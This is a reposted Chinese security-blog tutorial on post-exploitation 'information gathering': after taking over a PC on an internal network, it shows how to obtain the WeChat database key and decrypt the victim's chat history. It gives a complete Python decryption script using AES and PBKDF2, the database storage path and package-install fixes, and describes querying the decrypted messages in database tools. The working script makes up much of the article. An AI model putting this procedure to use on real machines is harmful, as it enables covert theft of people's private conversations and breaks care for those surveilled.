信息收集之获取wx聊天记录

admin 2023年2月16日22:45:20评论18 views字数 1696阅读5分39秒阅读模式

声明 转载于老李安全

在内网渗透中 一般我的习惯是先打一台PC机,当通过某种手段拿下PC机后进行信息收集大概是可以用到,另一种是获取了登录账号密码,没有远程 也可以通过smb将文件传回本地进行信息收集,场景很多,根据具体情况而定。文章不知道会不会和谐,且看且珍惜。

下面就手把手教大伙如何获取目标的聊天记录~~

目标上线后可以通过VNC、截图、tasklist等多种手段来确认微信是否开启

信息收集之获取wx聊天记录

获取key

使用工具 获取微信key
信息收集之获取wx聊天记录
获取key后通过脚本进行解密


Python3

  1. from Crypto.Cipher import AES

  2. import hashlib, hmac, ctypes, sys, getopt


  3. SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)

  4. IV_SIZE = 16

  5. HMAC_SHA1_SIZE = 20

  6. KEY_SIZE = 32

  7. DEFAULT_PAGESIZE = 4096

  8. DEFAULT_ITER = 64000

  9. opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')

  10. input_pass = ''

  11. input_dir = ''


  12. for op, value in opts:

  13. if op == '-k':

  14. input_pass = value

  15. else:

  16. if op == '-d':

  17. input_dir = value


  18. password = bytes.fromhex(input_pass.replace(' ', ''))


  19. with open(input_dir, 'rb') as (f):

  20. blist = f.read()

  21. print(len(blist))

  22. salt = blist[:16]

  23. key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)

  24. first = blist[16:DEFAULT_PAGESIZE]

  25. mac_salt = bytes([x ^ 58 for x in salt])

  26. mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)

  27. hash_mac = hmac.new(mac_key, digestmod='sha1')

  28. hash_mac.update(first[:-32])

  29. hash_mac.update(bytes(ctypes.c_int(1)))


  30. if hash_mac.digest() == first[-32:-12]:

  31. print('Decryption Success')

  32. else:

  33. print('Password Error')

  34. blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]


  35. with open(input_dir, 'wb') as (f):

  36. f.write(SQLITE_FILE_HEADER)

  37. t = AES.new(key, AES.MODE_CBC, first[-48:-32])

  38. f.write(t.decrypt(first[:-48]))

  39. f.write(first[-48:])

  40. for i in blist:

  41. t = AES.new(key, AES.MODE_CBC, i[-48:-32])

  42. f.write(t.decrypt(i[:-48]))

  43. f.write(i[-48:])

运行脚本安装pip包时,一直安装失败。出现了一些问题,一番探查 发现原因是pip包冲突了
解决方法:
信息收集之获取wx聊天记录
卸载crypto

  1. pip3 uninstall crypto

卸载

  1. pip3 uninstall pycrypto

重新安装

  1. pip3 install crypto

此时就可以运行起来

解密

微信默认安装路径为:

信息收集之获取wx聊天记录

微信聊天db文件存储路径为:

  1. C:UsersxxxxDocumentsWeChat FilesxxxxMsgMulti

信息收集之获取wx聊天记录

信息收集之获取wx聊天记录

查询聊天记录

使用navicat连接db文件

信息收集之获取wx聊天记录
查询聊天记录

信息收集之获取wx聊天记录
也可以使用db browser查询
信息收集之获取wx聊天记录



原文始发于微信公众号(无级安全):信息收集之获取wx聊天记录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月16日22:45:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   信息收集之获取wx聊天记录https://cn-sec.com/archives/1277371.html

发表评论

匿名网友 填写信息